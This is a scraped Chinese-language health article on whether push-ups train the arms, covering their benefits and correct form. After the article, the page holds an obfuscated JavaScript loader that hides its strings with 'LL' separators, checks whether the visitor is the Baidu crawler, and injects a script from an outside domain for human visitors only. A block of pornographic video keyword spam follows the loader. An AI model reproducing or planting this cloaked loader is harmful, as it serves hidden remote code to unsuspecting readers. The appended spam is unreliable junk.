當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

俯臥撐練手臂好嗎?

2017-04-14 18:58:16  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:俯臥撐,是現(xiàn)在的人們都非常喜歡的一項(xiàng)運(yùn)動(dòng)。很多人在家無聊時(shí)就會(huì)做一做俯臥撐,還有的人會(huì)專門到健身房里辦理會(huì)員卡進(jìn)行俯臥撐運(yùn)動(dòng),這些

俯臥撐,是現(xiàn)在的人們都非常喜歡的一項(xiàng)運(yùn)動(dòng)。很多人在家無聊時(shí)就會(huì)做一做俯臥撐,還有的人會(huì)專門到健身房里辦理會(huì)員卡進(jìn)行俯臥撐運(yùn)動(dòng),這些都是鍛煉自己的身體的好辦法,而且俯臥撐可以鍛煉人的手臂力量。接下來,我們就一起來看一看俯臥撐鍛煉手臂的相關(guān)內(nèi)容。

俯臥撐,是常見的健身運(yùn)動(dòng),主要鍛煉上肢、腰部及腹部的肌肉,尤其是胸肌。俯臥撐在日常鍛煉和體育課上,特別是在軍事體能訓(xùn)練中是一項(xiàng)基本訓(xùn)練。

其主要作用是發(fā)展人的上肢力量和腹肌力量,可以提高人體靜力性和動(dòng)力性力量素質(zhì)。對(duì)發(fā)展平衡和支撐能力可起重要作用。可以改善中樞神經(jīng)系統(tǒng),有益于骨的堅(jiān)實(shí),關(guān)節(jié)的靈活,韌帶的牢固,肌肉的粗壯及彈性,同時(shí)能加速血液循環(huán),增大肺活量,促進(jìn)生長(zhǎng)發(fā)育,提高運(yùn)動(dòng)能力。

經(jīng)常全面鍛煉,對(duì)身心發(fā)展是有益處的,可以調(diào)節(jié)人的心理,使人精力充沛,起到強(qiáng)健體魄,陶冶情操,鍛煉意志的作用。此外據(jù)說具有延年益壽的作用。A.雙手支撐身體,雙臂垂直于地面,兩腿向身體后方伸展,依靠雙手和兩個(gè)腳的腳尖保持平衡,保持頭、脖子、后背、臀部以及雙腿在一條直線上,動(dòng)作重點(diǎn):全身挺直,平起平落。

B.兩個(gè)肘部向身體外側(cè)彎曲,身體降低到基本靠近地板。收緊腹部,保持身體在一條直線上,持續(xù)一秒鐘,然后恢復(fù)原狀。

動(dòng)作重點(diǎn):全身挺直,平起平落。難點(diǎn):屈肘推直。

以上就是關(guān)于人們想要了解的通過俯臥撐這項(xiàng)運(yùn)動(dòng)來達(dá)到鍛煉手臂的一些相關(guān)內(nèi)容的介紹。在進(jìn)行俯臥撐這項(xiàng)運(yùn)動(dòng)的時(shí)候要先做好相應(yīng)的準(zhǔn)備運(yùn)動(dòng),先放松一下自己的肌肉,然后在慢慢的進(jìn)行運(yùn)動(dòng),不要操之過急。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品婷婷久青青原| 亚洲精品福利视频| 无码AV动漫精品一区二区免费| 久久99这里只有精品国产| 91麻豆精品一二三区在线| 亚洲国产综合91精品麻豆| 久久青草精品38国产免费| 国产女主播精品大秀系列| 国产呦小j女精品视频| 久久久久亚洲精品中文字幕| 亚洲精品在线视频| 一区二区精品久久| 国产AV国片精品一区二区| 九九在线精品视频| 国产精品超碰12396| 国产精品美女网站| 国产区精品福利在线观看精品| 亚洲精品国产日韩无码AV永久免费网| 国产一卡2卡3卡四卡精品一信息| 精品国产系列在线观看| 国产香蕉九九久久精品免费| 国产精品福利在线| 久久夜色撩人精品国产av| 久久久久久人妻一区精品| 久热中文字幕在线精品首页| 欧洲精品99毛片免费高清观看 | 精品无码中出一区二区| 国产精品美女久久久久av超清| 精品欧洲AV无码一区二区男男| 久久亚洲精品无码VA大香大香| 91精品国产高清久久久久久91| 国产乱码精品一区二区三区中| 蜜芽国内精品视频在线观看| 在线视频精品一区| 日本精品夜色视频一区二区| 久久国产精品偷99| 久久精品一区二区三区中文字幕| 精品水蜜桃久久久久久久| 精品国产_亚洲人成在线高清| 久久久影院亚洲精品| 国产成人精品日本亚洲18图|